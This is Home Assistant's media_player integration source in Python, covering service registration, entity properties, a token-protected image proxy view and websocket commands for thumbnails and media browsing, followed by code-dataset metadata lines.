else HTTPStatus.UNAUTHORIZED ) return web.Response(status=status) assert isinstance(player, MediaPlayerEntity) authenticated = ( request[KEY_AUTHENTICATED] or request.query.get("token") == player.access_token ) if not authenticated: return web.Response(status=HTTPStatus.UNAUTHORIZED) if media_content_type and media_content_id: media_image_id = request.query.get("media_image_id") data, content_type = await player.async_get_browse_image( media_content_type, media_content_id, media_image_id ) else: data, content_type = await player.async_get_media_image() if data is None: return web.Response(status=HTTPStatus.INTERNAL_SERVER_ERROR) headers: LooseHeaders = {CACHE_CONTROL: "max-age=3600"} return web.Response(body=data, content_type=content_type, headers=headers) @websocket_api.websocket_command( { vol.Required("type"): "media_player_thumbnail", vol.Required("entity_id"): cv.entity_id, } ) @websocket_api.async_response async def websocket_handle_thumbnail(hass, connection, msg): """Handle get media player cover command. Async friendly. """ component = hass.data[DOMAIN] if (player := component.get_entity(msg["entity_id"])) is None: connection.send_message( websocket_api.error_message(msg["id"], ERR_NOT_FOUND, "Entity not found") ) return _LOGGER.warning( "The websocket command media_player_thumbnail is deprecated. Use /api/media_player_proxy instead" ) data, content_type = await player.async_get_media_image() if data is None: connection.send_message( websocket_api.error_message( msg["id"], "thumbnail_fetch_failed", "Failed to fetch thumbnail" ) ) return await connection.send_big_result( msg["id"], { "content_type": content_type, "content": base64.b64encode(data).decode("utf-8"), }, ) @websocket_api.websocket_command( { vol.Required("type"): "media_player/browse_media", vol.Required("entity_id"): cv.entity_id, vol.Inclusive( ATTR_MEDIA_CONTENT_TYPE, "media_ids", "media_content_type and media_content_id must be provided together", ): str, vol.Inclusive( ATTR_MEDIA_CONTENT_ID, "media_ids", "media_content_type and media_content_id must be provided together", ): str, } ) @websocket_api.async_response async def websocket_browse_media(hass, connection, msg): """ Browse media available to the media_player entity. To use, media_player integrations can implement MediaPlayerEntity.async_browse_media() """ component = hass.data[DOMAIN] player: MediaPlayerEntity | None = component.get_entity(msg["entity_id"]) if player is None: connection.send_error(msg["id"], "entity_not_found", "Entity not found") return if not player.supported_features & MediaPlayerEntityFeature.BROWSE_MEDIA: connection.send_message( websocket_api.error_message( msg["id"], ERR_NOT_SUPPORTED, "Player does not support browsing media" ) ) return media_content_type = msg.get(ATTR_MEDIA_CONTENT_TYPE) media_content_id = msg.get(ATTR_MEDIA_CONTENT_ID) try: payload = await player.async_browse_media(media_content_type, media_content_id) except NotImplementedError: _LOGGER.error( "%s allows media browsing but its integration (%s) does not", player.entity_id, player.platform.platform_name, ) connection.send_message( websocket_api.error_message( msg["id"], ERR_NOT_SUPPORTED, "Integration does not support browsing media", ) ) return except BrowseError as err: connection.send_message( websocket_api.error_message(msg["id"], ERR_UNKNOWN_ERROR, str(err)) ) return # For backwards compat if isinstance(payload, BrowseMedia): payload = payload.as_dict() else: _LOGGER.warning("Browse Media should use new BrowseMedia class") connection.send_result(msg["id"], payload) async def async_fetch_image( logger: logging.Logger, hass: HomeAssistant, url: str ) -> tuple[bytes | None, str | None]: """Retrieve an image.""" content, content_type = (None, None) websession = async_get_clientsession(hass) with suppress(asyncio.TimeoutError), async_timeout.timeout(10): response = await websession.get(url) if response.status == HTTPStatus.OK: content = await response.read() if content_type := response.headers.get(CONTENT_TYPE): content_type = content_type.split(";")[0] if content is None: url_parts = URL(url) if url_parts.user is not None: url_parts = url_parts.with_user("xxxx") if url_parts.password is not None: url_parts = url_parts.with_password("xxxxxxxx") url = str(url_parts) logger.warning("Error retrieving proxied image from %s", url) return content, content_type
32.132492
105
0.669964
from __future__ import annotations import asyncio import base64 import collections from collections.abc import Callable from contextlib import suppress from dataclasses import dataclass import datetime as dt import functools as ft import hashlib from http import HTTPStatus import logging import secrets from typing import Any, cast, final from urllib.parse import urlparse from aiohttp import web from aiohttp.hdrs import CACHE_CONTROL, CONTENT_TYPE from aiohttp.typedefs import LooseHeaders import async_timeout import voluptuous as vol from yarl import URL from homeassistant.backports.enum import StrEnum from homeassistant.components import websocket_api from homeassistant.components.http import KEY_AUTHENTICATED, HomeAssistantView from homeassistant.components.websocket_api.const import ( ERR_NOT_FOUND, ERR_NOT_SUPPORTED, ERR_UNKNOWN_ERROR, ) from homeassistant.config_entries import ConfigEntry from homeassistant.const import ( SERVICE_MEDIA_NEXT_TRACK, SERVICE_MEDIA_PAUSE, SERVICE_MEDIA_PLAY, SERVICE_MEDIA_PLAY_PAUSE, SERVICE_MEDIA_PREVIOUS_TRACK, SERVICE_MEDIA_SEEK, SERVICE_MEDIA_STOP, SERVICE_REPEAT_SET, SERVICE_SHUFFLE_SET, SERVICE_TOGGLE, SERVICE_TURN_OFF, SERVICE_TURN_ON, SERVICE_VOLUME_DOWN, SERVICE_VOLUME_MUTE, SERVICE_VOLUME_SET, SERVICE_VOLUME_UP, STATE_IDLE, STATE_OFF, STATE_PLAYING, ) from homeassistant.core import HomeAssistant from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.config_validation import ( PLATFORM_SCHEMA, PLATFORM_SCHEMA_BASE, ) from homeassistant.helpers.entity import Entity, EntityDescription from homeassistant.helpers.entity_component import EntityComponent from homeassistant.helpers.network import get_url from homeassistant.helpers.typing import ConfigType from homeassistant.loader import bind_hass from .browse_media import BrowseMedia, async_process_play_media_url from .const import ( ATTR_APP_ID, ATTR_APP_NAME, ATTR_ENTITY_PICTURE_LOCAL, ATTR_GROUP_MEMBERS, ATTR_INPUT_SOURCE, ATTR_INPUT_SOURCE_LIST, ATTR_MEDIA_ALBUM_ARTIST, ATTR_MEDIA_ALBUM_NAME, ATTR_MEDIA_ARTIST, ATTR_MEDIA_CHANNEL, ATTR_MEDIA_CONTENT_ID, ATTR_MEDIA_CONTENT_TYPE, ATTR_MEDIA_DURATION, ATTR_MEDIA_ENQUEUE, ATTR_MEDIA_EPISODE, ATTR_MEDIA_EXTRA, ATTR_MEDIA_PLAYLIST, ATTR_MEDIA_POSITION, ATTR_MEDIA_POSITION_UPDATED_AT, ATTR_MEDIA_REPEAT, ATTR_MEDIA_SEASON, ATTR_MEDIA_SEEK_POSITION, ATTR_MEDIA_SERIES_TITLE, ATTR_MEDIA_SHUFFLE, ATTR_MEDIA_TITLE, ATTR_MEDIA_TRACK, ATTR_MEDIA_VOLUME_LEVEL, ATTR_MEDIA_VOLUME_MUTED, ATTR_SOUND_MODE, ATTR_SOUND_MODE_LIST, CONTENT_AUTH_EXPIRY_TIME, DOMAIN, MEDIA_CLASS_DIRECTORY, REPEAT_MODES, SERVICE_CLEAR_PLAYLIST, SERVICE_JOIN, SERVICE_PLAY_MEDIA, SERVICE_SELECT_SOUND_MODE, SERVICE_SELECT_SOURCE, SERVICE_UNJOIN, SUPPORT_BROWSE_MEDIA, SUPPORT_CLEAR_PLAYLIST, SUPPORT_GROUPING, SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PLAY, SUPPORT_PLAY_MEDIA, SUPPORT_PREVIOUS_TRACK, SUPPORT_REPEAT_SET, SUPPORT_SEEK, SUPPORT_SELECT_SOUND_MODE, SUPPORT_SELECT_SOURCE, SUPPORT_SHUFFLE_SET, SUPPORT_STOP, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_VOLUME_MUTE, SUPPORT_VOLUME_SET, SUPPORT_VOLUME_STEP, MediaPlayerEntityFeature, ) from .errors import BrowseError _LOGGER = logging.getLogger(__name__) ENTITY_ID_FORMAT = DOMAIN + ".{}" CACHE_IMAGES = "images" CACHE_MAXSIZE = "maxsize" CACHE_LOCK = "lock" CACHE_URL = "url" CACHE_CONTENT = "content" ENTITY_IMAGE_CACHE = {CACHE_IMAGES: collections.OrderedDict(), CACHE_MAXSIZE: 16} SCAN_INTERVAL = dt.timedelta(seconds=10) class MediaPlayerEnqueue(StrEnum): ADD = "add" NEXT = "next" PLAY = "play" REPLACE = "replace" class MediaPlayerDeviceClass(StrEnum): TV = "tv" SPEAKER = "speaker" RECEIVER = "receiver" DEVICE_CLASSES_SCHEMA = vol.All(vol.Lower, vol.Coerce(MediaPlayerDeviceClass)) DEVICE_CLASSES = [cls.value for cls in MediaPlayerDeviceClass] DEVICE_CLASS_TV = MediaPlayerDeviceClass.TV.value DEVICE_CLASS_SPEAKER = MediaPlayerDeviceClass.SPEAKER.value DEVICE_CLASS_RECEIVER = MediaPlayerDeviceClass.RECEIVER.value MEDIA_PLAYER_PLAY_MEDIA_SCHEMA = { vol.Required(ATTR_MEDIA_CONTENT_TYPE): cv.string, vol.Required(ATTR_MEDIA_CONTENT_ID): cv.string, vol.Optional(ATTR_MEDIA_ENQUEUE): vol.Any( cv.boolean, vol.Coerce(MediaPlayerEnqueue) ), vol.Optional(ATTR_MEDIA_EXTRA, default={}): dict, } ATTR_TO_PROPERTY = [ ATTR_MEDIA_VOLUME_LEVEL, ATTR_MEDIA_VOLUME_MUTED, ATTR_MEDIA_CONTENT_ID, ATTR_MEDIA_CONTENT_TYPE, ATTR_MEDIA_DURATION, ATTR_MEDIA_POSITION, ATTR_MEDIA_POSITION_UPDATED_AT, ATTR_MEDIA_TITLE, ATTR_MEDIA_ARTIST, ATTR_MEDIA_ALBUM_NAME, ATTR_MEDIA_ALBUM_ARTIST, ATTR_MEDIA_TRACK, ATTR_MEDIA_SERIES_TITLE, ATTR_MEDIA_SEASON, ATTR_MEDIA_EPISODE, ATTR_MEDIA_CHANNEL, ATTR_MEDIA_PLAYLIST, ATTR_APP_ID, ATTR_APP_NAME, ATTR_INPUT_SOURCE, ATTR_SOUND_MODE, ATTR_MEDIA_SHUFFLE, ATTR_MEDIA_REPEAT, ] @bind_hass def is_on(hass, entity_id=None): entity_ids = [entity_id] if entity_id else hass.states.entity_ids(DOMAIN) return any( not hass.states.is_state(entity_id, STATE_OFF) for entity_id in entity_ids ) def _rename_keys(**keys: Any) -> Callable[[dict[str, Any]], dict[str, Any]]: def rename(value: dict[str, Any]) -> dict[str, Any]: for to_key, from_key in keys.items(): if from_key in value: value[to_key] = value.pop(from_key) return value return rename async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool: component = hass.data[DOMAIN] = EntityComponent( logging.getLogger(__name__), DOMAIN, hass, SCAN_INTERVAL ) websocket_api.async_register_command(hass, websocket_handle_thumbnail) websocket_api.async_register_command(hass, websocket_browse_media) hass.http.register_view(MediaPlayerImageView(component)) await component.async_setup(config) component.async_register_entity_service( SERVICE_TURN_ON, {}, "async_turn_on", [MediaPlayerEntityFeature.TURN_ON] ) component.async_register_entity_service( SERVICE_TURN_OFF, {}, "async_turn_off", [MediaPlayerEntityFeature.TURN_OFF] ) component.async_register_entity_service( SERVICE_TOGGLE, {}, "async_toggle", [MediaPlayerEntityFeature.TURN_OFF | MediaPlayerEntityFeature.TURN_ON], ) component.async_register_entity_service( SERVICE_VOLUME_UP, {}, "async_volume_up", [MediaPlayerEntityFeature.VOLUME_SET, MediaPlayerEntityFeature.VOLUME_STEP], ) component.async_register_entity_service( SERVICE_VOLUME_DOWN, {}, "async_volume_down", [MediaPlayerEntityFeature.VOLUME_SET, MediaPlayerEntityFeature.VOLUME_STEP], ) component.async_register_entity_service( SERVICE_MEDIA_PLAY_PAUSE, {}, "async_media_play_pause", [MediaPlayerEntityFeature.PLAY | MediaPlayerEntityFeature.PAUSE], ) component.async_register_entity_service( SERVICE_MEDIA_PLAY, {}, "async_media_play", [MediaPlayerEntityFeature.PLAY] ) component.async_register_entity_service( SERVICE_MEDIA_PAUSE, {}, "async_media_pause", [MediaPlayerEntityFeature.PAUSE] ) component.async_register_entity_service( SERVICE_MEDIA_STOP, {}, "async_media_stop", [MediaPlayerEntityFeature.STOP] ) component.async_register_entity_service( SERVICE_MEDIA_NEXT_TRACK, {}, "async_media_next_track", [MediaPlayerEntityFeature.NEXT_TRACK], ) component.async_register_entity_service( SERVICE_MEDIA_PREVIOUS_TRACK, {}, "async_media_previous_track", [MediaPlayerEntityFeature.PREVIOUS_TRACK], ) component.async_register_entity_service( SERVICE_CLEAR_PLAYLIST, {}, "async_clear_playlist", [MediaPlayerEntityFeature.CLEAR_PLAYLIST], ) component.async_register_entity_service( SERVICE_VOLUME_SET, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_VOLUME_LEVEL): cv.small_float} ), _rename_keys(volume=ATTR_MEDIA_VOLUME_LEVEL), ), "async_set_volume_level", [MediaPlayerEntityFeature.VOLUME_SET], ) component.async_register_entity_service( SERVICE_VOLUME_MUTE, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_VOLUME_MUTED): cv.boolean} ), _rename_keys(mute=ATTR_MEDIA_VOLUME_MUTED), ), "async_mute_volume", [MediaPlayerEntityFeature.VOLUME_MUTE], ) component.async_register_entity_service( SERVICE_MEDIA_SEEK, vol.All( cv.make_entity_service_schema( {vol.Required(ATTR_MEDIA_SEEK_POSITION): cv.positive_float} ), _rename_keys(position=ATTR_MEDIA_SEEK_POSITION), ), "async_media_seek", [MediaPlayerEntityFeature.SEEK], ) component.async_register_entity_service( SERVICE_JOIN, {vol.Required(ATTR_GROUP_MEMBERS): vol.All(cv.ensure_list, [cv.entity_id])}, "async_join_players", [MediaPlayerEntityFeature.GROUPING], ) component.async_register_entity_service( SERVICE_SELECT_SOURCE, {vol.Required(ATTR_INPUT_SOURCE): cv.string}, "async_select_source", [MediaPlayerEntityFeature.SELECT_SOURCE], ) component.async_register_entity_service( SERVICE_SELECT_SOUND_MODE, {vol.Required(ATTR_SOUND_MODE): cv.string}, "async_select_sound_mode", [MediaPlayerEntityFeature.SELECT_SOUND_MODE], ) def _rewrite_enqueue(value): if ATTR_MEDIA_ENQUEUE not in value: pass elif value[ATTR_MEDIA_ENQUEUE] is True: value[ATTR_MEDIA_ENQUEUE] = MediaPlayerEnqueue.ADD _LOGGER.warning( "Playing media with enqueue set to True is deprecated. Use 'add' instead" ) elif value[ATTR_MEDIA_ENQUEUE] is False: value[ATTR_MEDIA_ENQUEUE] = MediaPlayerEnqueue.PLAY _LOGGER.warning( "Playing media with enqueue set to False is deprecated. Use 'play' instead" ) return value component.async_register_entity_service( SERVICE_PLAY_MEDIA, vol.All( cv.make_entity_service_schema(MEDIA_PLAYER_PLAY_MEDIA_SCHEMA), _rewrite_enqueue, _rename_keys( media_type=ATTR_MEDIA_CONTENT_TYPE, media_id=ATTR_MEDIA_CONTENT_ID, enqueue=ATTR_MEDIA_ENQUEUE, ), ), "async_play_media", [MediaPlayerEntityFeature.PLAY_MEDIA], ) component.async_register_entity_service( SERVICE_SHUFFLE_SET, {vol.Required(ATTR_MEDIA_SHUFFLE): cv.boolean}, "async_set_shuffle", [MediaPlayerEntityFeature.SHUFFLE_SET], ) component.async_register_entity_service( SERVICE_UNJOIN, {}, "async_unjoin_player", [MediaPlayerEntityFeature.GROUPING] ) component.async_register_entity_service( SERVICE_REPEAT_SET, {vol.Required(ATTR_MEDIA_REPEAT): vol.In(REPEAT_MODES)}, "async_set_repeat", [MediaPlayerEntityFeature.REPEAT_SET], ) return True async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool: component: EntityComponent = hass.data[DOMAIN] return await component.async_setup_entry(entry) async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool: component: EntityComponent = hass.data[DOMAIN] return await component.async_unload_entry(entry) @dataclass class MediaPlayerEntityDescription(EntityDescription): device_class: MediaPlayerDeviceClass | str | None = None class MediaPlayerEntity(Entity): entity_description: MediaPlayerEntityDescription _access_token: str | None = None _attr_app_id: str | None = None _attr_app_name: str | None = None _attr_device_class: MediaPlayerDeviceClass | str | None _attr_group_members: list[str] | None = None _attr_is_volume_muted: bool | None = None _attr_media_album_artist: str | None = None _attr_media_album_name: str | None = None _attr_media_artist: str | None = None _attr_media_channel: str | None = None _attr_media_content_id: str | None = None _attr_media_content_type: str | None = None _attr_media_duration: int | None = None _attr_media_episode: str | None = None _attr_media_image_hash: str | None _attr_media_image_remotely_accessible: bool = False _attr_media_image_url: str | None = None _attr_media_playlist: str | None = None _attr_media_position_updated_at: dt.datetime | None = None _attr_media_position: int | None = None _attr_media_season: str | None = None _attr_media_series_title: str | None = None _attr_media_title: str | None = None _attr_media_track: int | None = None _attr_repeat: str | None = None _attr_shuffle: bool | None = None _attr_sound_mode_list: list[str] | None = None _attr_sound_mode: str | None = None _attr_source_list: list[str] | None = None _attr_source: str | None = None _attr_state: str | None = None _attr_supported_features: int = 0 _attr_volume_level: float | None = None @property def device_class(self) -> MediaPlayerDeviceClass | str | None: if hasattr(self, "_attr_device_class"): return self._attr_device_class if hasattr(self, "entity_description"): return self.entity_description.device_class return None @property def state(self) -> str | None: return self._attr_state @property def access_token(self) -> str: if self._access_token is None: self._access_token = secrets.token_hex(32) return self._access_token @property def volume_level(self) -> float | None: return self._attr_volume_level @property def is_volume_muted(self) -> bool | None: return self._attr_is_volume_muted @property def media_content_id(self) -> str | None: return self._attr_media_content_id @property def media_content_type(self) -> str | None: return self._attr_media_content_type @property def media_duration(self) -> int | None: return self._attr_media_duration @property def media_position(self) -> int | None: return self._attr_media_position @property def media_position_updated_at(self) -> dt.datetime | None: return self._attr_media_position_updated_at @property def media_image_url(self) -> str | None: return self._attr_media_image_url @property def media_image_remotely_accessible(self) -> bool: return self._attr_media_image_remotely_accessible @property def media_image_hash(self) -> str | None: if hasattr(self, "_attr_media_image_hash"): return self._attr_media_image_hash if (url := self.media_image_url) is not None: return hashlib.sha256(url.encode("utf-8")).hexdigest()[:16] return None async def async_get_media_image(self) -> tuple[bytes | None, str | None]: if (url := self.media_image_url) is None: return None, None return await self._async_fetch_image_from_cache(url) async def async_get_browse_image( self, media_content_type: str, media_content_id: str, media_image_id: str | None = None, ) -> tuple[bytes | None, str | None]: return None, None @property def media_title(self) -> str | None: return self._attr_media_title @property def media_artist(self) -> str | None: return self._attr_media_artist @property def media_album_name(self) -> str | None: return self._attr_media_album_name @property def media_album_artist(self) -> str | None: return self._attr_media_album_artist @property def media_track(self) -> int | None: return self._attr_media_track @property def media_series_title(self) -> str | None: return self._attr_media_series_title @property def media_season(self) -> str | None: return self._attr_media_season @property def media_episode(self) -> str | None: return self._attr_media_episode @property def media_channel(self) -> str | None: return self._attr_media_channel @property def media_playlist(self) -> str | None: return self._attr_media_playlist @property def app_id(self) -> str | None: return self._attr_app_id @property def app_name(self) -> str | None: return self._attr_app_name @property def source(self) -> str | None: return self._attr_source @property def source_list(self) -> list[str] | None: return self._attr_source_list @property def sound_mode(self) -> str | None: return self._attr_sound_mode @property def sound_mode_list(self) -> list[str] | None: return self._attr_sound_mode_list @property def shuffle(self) -> bool | None: return self._attr_shuffle @property def repeat(self) -> str | None: return self._attr_repeat @property def group_members(self) -> list[str] | None: return self._attr_group_members @property def supported_features(self) -> int: return self._attr_supported_features def turn_on(self): raise NotImplementedError() async def async_turn_on(self): await self.hass.async_add_executor_job(self.turn_on) def turn_off(self): raise NotImplementedError() async def async_turn_off(self): await self.hass.async_add_executor_job(self.turn_off) def mute_volume(self, mute): raise NotImplementedError() async def async_mute_volume(self, mute): await self.hass.async_add_executor_job(self.mute_volume, mute) def set_volume_level(self, volume): raise NotImplementedError() async def async_set_volume_level(self, volume): await self.hass.async_add_executor_job(self.set_volume_level, volume) def media_play(self): raise NotImplementedError() async def async_media_play(self): await self.hass.async_add_executor_job(self.media_play) def media_pause(self): raise NotImplementedError() async def async_media_pause(self): await self.hass.async_add_executor_job(self.media_pause) def media_stop(self): raise NotImplementedError() async def async_media_stop(self): await self.hass.async_add_executor_job(self.media_stop) def media_previous_track(self): raise NotImplementedError() async def async_media_previous_track(self): await self.hass.async_add_executor_job(self.media_previous_track) def media_next_track(self): raise NotImplementedError() async def async_media_next_track(self): await self.hass.async_add_executor_job(self.media_next_track) def media_seek(self, position): raise NotImplementedError() async def async_media_seek(self, position): await self.hass.async_add_executor_job(self.media_seek, position) def play_media(self, media_type, media_id, **kwargs): raise NotImplementedError() async def async_play_media(self, media_type, media_id, **kwargs): await self.hass.async_add_executor_job( ft.partial(self.play_media, media_type, media_id, **kwargs) ) def select_source(self, source): raise NotImplementedError() async def async_select_source(self, source): await self.hass.async_add_executor_job(self.select_source, source) def select_sound_mode(self, sound_mode): raise NotImplementedError() async def async_select_sound_mode(self, sound_mode): await self.hass.async_add_executor_job(self.select_sound_mode, sound_mode) def clear_playlist(self): raise NotImplementedError() async def async_clear_playlist(self): await self.hass.async_add_executor_job(self.clear_playlist) def set_shuffle(self, shuffle): raise NotImplementedError() async def async_set_shuffle(self, shuffle): await self.hass.async_add_executor_job(self.set_shuffle, shuffle) def set_repeat(self, repeat): raise NotImplementedError() async def async_set_repeat(self, repeat): await self.hass.async_add_executor_job(self.set_repeat, repeat) @property def support_play(self): return bool(self.supported_features & MediaPlayerEntityFeature.PLAY) @property def support_pause(self): return bool(self.supported_features & MediaPlayerEntityFeature.PAUSE) @property def support_stop(self): return bool(self.supported_features & MediaPlayerEntityFeature.STOP) @property def support_seek(self): return bool(self.supported_features & MediaPlayerEntityFeature.SEEK) @property def support_volume_set(self): return bool(self.supported_features & MediaPlayerEntityFeature.VOLUME_SET) @property def support_volume_mute(self): return bool(self.supported_features & MediaPlayerEntityFeature.VOLUME_MUTE) @property def support_previous_track(self): return bool(self.supported_features & MediaPlayerEntityFeature.PREVIOUS_TRACK) @property def support_next_track(self): return bool(self.supported_features & MediaPlayerEntityFeature.NEXT_TRACK) @property def support_play_media(self): return bool(self.supported_features & MediaPlayerEntityFeature.PLAY_MEDIA) @property def support_select_source(self): return bool(self.supported_features & MediaPlayerEntityFeature.SELECT_SOURCE) @property def support_select_sound_mode(self): return bool( self.supported_features & MediaPlayerEntityFeature.SELECT_SOUND_MODE ) @property def support_clear_playlist(self): return bool(self.supported_features & MediaPlayerEntityFeature.CLEAR_PLAYLIST) @property def support_shuffle_set(self): return bool(self.supported_features & MediaPlayerEntityFeature.SHUFFLE_SET) @property def support_grouping(self): return bool(self.supported_features & MediaPlayerEntityFeature.GROUPING) async def async_toggle(self): if hasattr(self, "toggle"): await self.hass.async_add_executor_job(self.toggle) return if self.state in (STATE_OFF, STATE_IDLE): await self.async_turn_on() else: await self.async_turn_off() async def async_volume_up(self): if hasattr(self, "volume_up"): await self.hass.async_add_executor_job(self.volume_up) return if ( self.volume_level < 1 and self.supported_features & MediaPlayerEntityFeature.VOLUME_SET ): await self.async_set_volume_level(min(1, self.volume_level + 0.1)) async def async_volume_down(self): if hasattr(self, "volume_down"): await self.hass.async_add_executor_job(self.volume_down) return if ( self.volume_level > 0 and self.supported_features & MediaPlayerEntityFeature.VOLUME_SET ): await self.async_set_volume_level(max(0, self.volume_level - 0.1)) async def async_media_play_pause(self): if hasattr(self, "media_play_pause"): await self.hass.async_add_executor_job(self.media_play_pause) return if self.state == STATE_PLAYING: await self.async_media_pause() else: await self.async_media_play() @property def entity_picture(self): if self.state == STATE_OFF: return None if self.media_image_remotely_accessible: return self.media_image_url return self.media_image_local @property def media_image_local(self): if (image_hash := self.media_image_hash) is None: return None return ( f"/api/media_player_proxy/{self.entity_id}?" f"token={self.access_token}&cache={image_hash}" ) @property def capability_attributes(self): supported_features = self.supported_features or 0 data = {} if supported_features & MediaPlayerEntityFeature.SELECT_SOURCE and ( source_list := self.source_list ): data[ATTR_INPUT_SOURCE_LIST] = source_list if supported_features & MediaPlayerEntityFeature.SELECT_SOUND_MODE and ( sound_mode_list := self.sound_mode_list ): data[ATTR_SOUND_MODE_LIST] = sound_mode_list return data @final @property def state_attributes(self): state_attr = {} if self.support_grouping: state_attr[ATTR_GROUP_MEMBERS] = self.group_members if self.state == STATE_OFF: return state_attr for attr in ATTR_TO_PROPERTY: if (value := getattr(self, attr)) is not None: state_attr[attr] = value if self.media_image_remotely_accessible: state_attr[ATTR_ENTITY_PICTURE_LOCAL] = self.media_image_local return state_attr async def async_browse_media( self, media_content_type: str | None = None, media_content_id: str | None = None, ) -> BrowseMedia: raise NotImplementedError() def join_players(self, group_members): raise NotImplementedError() async def async_join_players(self, group_members): await self.hass.async_add_executor_job(self.join_players, group_members) def unjoin_player(self): raise NotImplementedError() async def async_unjoin_player(self): await self.hass.async_add_executor_job(self.unjoin_player) async def _async_fetch_image_from_cache( self, url: str ) -> tuple[bytes | None, str | None]: cache_images = cast(collections.OrderedDict, ENTITY_IMAGE_CACHE[CACHE_IMAGES]) cache_maxsize = cast(int, ENTITY_IMAGE_CACHE[CACHE_MAXSIZE]) if urlparse(url).hostname is None: url = f"{get_url(self.hass)}{url}" if url not in cache_images: cache_images[url] = {CACHE_LOCK: asyncio.Lock()} async with cache_images[url][CACHE_LOCK]: if CACHE_CONTENT in cache_images[url]: return cache_images[url][CACHE_CONTENT] (content, content_type) = await self._async_fetch_image(url) async with cache_images[url][CACHE_LOCK]: cache_images[url][CACHE_CONTENT] = content, content_type while len(cache_images) > cache_maxsize: cache_images.popitem(last=False) return content, content_type async def _async_fetch_image(self, url: str) -> tuple[bytes | None, str | None]: return await async_fetch_image(_LOGGER, self.hass, url) def get_browse_image_url( self, media_content_type: str, media_content_id: str, media_image_id: str | None = None, ) -> str: url_path = ( f"/api/media_player_proxy/{self.entity_id}/browse_media" f"/{media_content_type}/{media_content_id}" ) url_query = {"token": self.access_token} if media_image_id: url_query["media_image_id"] = media_image_id return str(URL(url_path).with_query(url_query)) class MediaPlayerImageView(HomeAssistantView): requires_auth = False url = "/api/media_player_proxy/{entity_id}" name = "api:media_player:image" extra_urls = [ url + "/browse_media/{media_content_type}/{media_content_id}", ] def __init__(self, component: EntityComponent) -> None: self.component = component async def get( self, request: web.Request, entity_id: str, media_content_type: str | None = None, media_content_id: str | None = None, ) -> web.Response: if (player := self.component.get_entity(entity_id)) is None: status = ( HTTPStatus.NOT_FOUND if request[KEY_AUTHENTICATED] else HTTPStatus.UNAUTHORIZED ) return web.Response(status=status) assert isinstance(player, MediaPlayerEntity) authenticated = ( request[KEY_AUTHENTICATED] or request.query.get("token") == player.access_token ) if not authenticated: return web.Response(status=HTTPStatus.UNAUTHORIZED) if media_content_type and media_content_id: media_image_id = request.query.get("media_image_id") data, content_type = await player.async_get_browse_image( media_content_type, media_content_id, media_image_id ) else: data, content_type = await player.async_get_media_image() if data is None: return web.Response(status=HTTPStatus.INTERNAL_SERVER_ERROR) headers: LooseHeaders = {CACHE_CONTROL: "max-age=3600"} return web.Response(body=data, content_type=content_type, headers=headers) @websocket_api.websocket_command( { vol.Required("type"): "media_player_thumbnail", vol.Required("entity_id"): cv.entity_id, } ) @websocket_api.async_response async def websocket_handle_thumbnail(hass, connection, msg): component = hass.data[DOMAIN] if (player := component.get_entity(msg["entity_id"])) is None: connection.send_message( websocket_api.error_message(msg["id"], ERR_NOT_FOUND, "Entity not found") ) return _LOGGER.warning( "The websocket command media_player_thumbnail is deprecated. Use /api/media_player_proxy instead" ) data, content_type = await player.async_get_media_image() if data is None: connection.send_message( websocket_api.error_message( msg["id"], "thumbnail_fetch_failed", "Failed to fetch thumbnail" ) ) return await connection.send_big_result( msg["id"], { "content_type": content_type, "content": base64.b64encode(data).decode("utf-8"), }, ) @websocket_api.websocket_command( { vol.Required("type"): "media_player/browse_media", vol.Required("entity_id"): cv.entity_id, vol.Inclusive( ATTR_MEDIA_CONTENT_TYPE, "media_ids", "media_content_type and media_content_id must be provided together", ): str, vol.Inclusive( ATTR_MEDIA_CONTENT_ID, "media_ids", "media_content_type and media_content_id must be provided together", ): str, } ) @websocket_api.async_response async def websocket_browse_media(hass, connection, msg): component = hass.data[DOMAIN] player: MediaPlayerEntity | None = component.get_entity(msg["entity_id"]) if player is None: connection.send_error(msg["id"], "entity_not_found", "Entity not found") return if not player.supported_features & MediaPlayerEntityFeature.BROWSE_MEDIA: connection.send_message( websocket_api.error_message( msg["id"], ERR_NOT_SUPPORTED, "Player does not support browsing media" ) ) return media_content_type = msg.get(ATTR_MEDIA_CONTENT_TYPE) media_content_id = msg.get(ATTR_MEDIA_CONTENT_ID) try: payload = await player.async_browse_media(media_content_type, media_content_id) except NotImplementedError: _LOGGER.error( "%s allows media browsing but its integration (%s) does not", player.entity_id, player.platform.platform_name, ) connection.send_message( websocket_api.error_message( msg["id"], ERR_NOT_SUPPORTED, "Integration does not support browsing media", ) ) return except BrowseError as err: connection.send_message( websocket_api.error_message(msg["id"], ERR_UNKNOWN_ERROR, str(err)) ) return if isinstance(payload, BrowseMedia): payload = payload.as_dict() else: _LOGGER.warning("Browse Media should use new BrowseMedia class") connection.send_result(msg["id"], payload) async def async_fetch_image( logger: logging.Logger, hass: HomeAssistant, url: str ) -> tuple[bytes | None, str | None]: content, content_type = (None, None) websession = async_get_clientsession(hass) with suppress(asyncio.TimeoutError), async_timeout.timeout(10): response = await websession.get(url) if response.status == HTTPStatus.OK: content = await response.read() if content_type := response.headers.get(CONTENT_TYPE): content_type = content_type.split(";")[0] if content is None: url_parts = URL(url) if url_parts.user is not None: url_parts = url_parts.with_user("xxxx") if url_parts.password is not None: url_parts = url_parts.with_password("xxxxxxxx") url = str(url_parts) logger.warning("Error retrieving proxied image from %s", url) return content, content_type
true
true
f71f41dc2939024b8e868c9cd42129d682fd9c29
7,083
py
Python
homeassistant/components/aquostv/media_player.py
itewk/home-assistant
769cf19052f8c9ef374d8ba8ae7705ccc7bf4cf4
[ "Apache-2.0" ]
23
2017-11-15T21:03:53.000Z
2021-03-29T21:33:48.000Z
homeassistant/components/aquostv/media_player.py
itewk/home-assistant
769cf19052f8c9ef374d8ba8ae7705ccc7bf4cf4
[ "Apache-2.0" ]
9
2022-01-27T06:32:10.000Z
2022-03-31T07:07:51.000Z
homeassistant/components/aquostv/media_player.py
itewk/home-assistant
769cf19052f8c9ef374d8ba8ae7705ccc7bf4cf4
[ "Apache-2.0" ]
10
2018-01-01T00:12:51.000Z
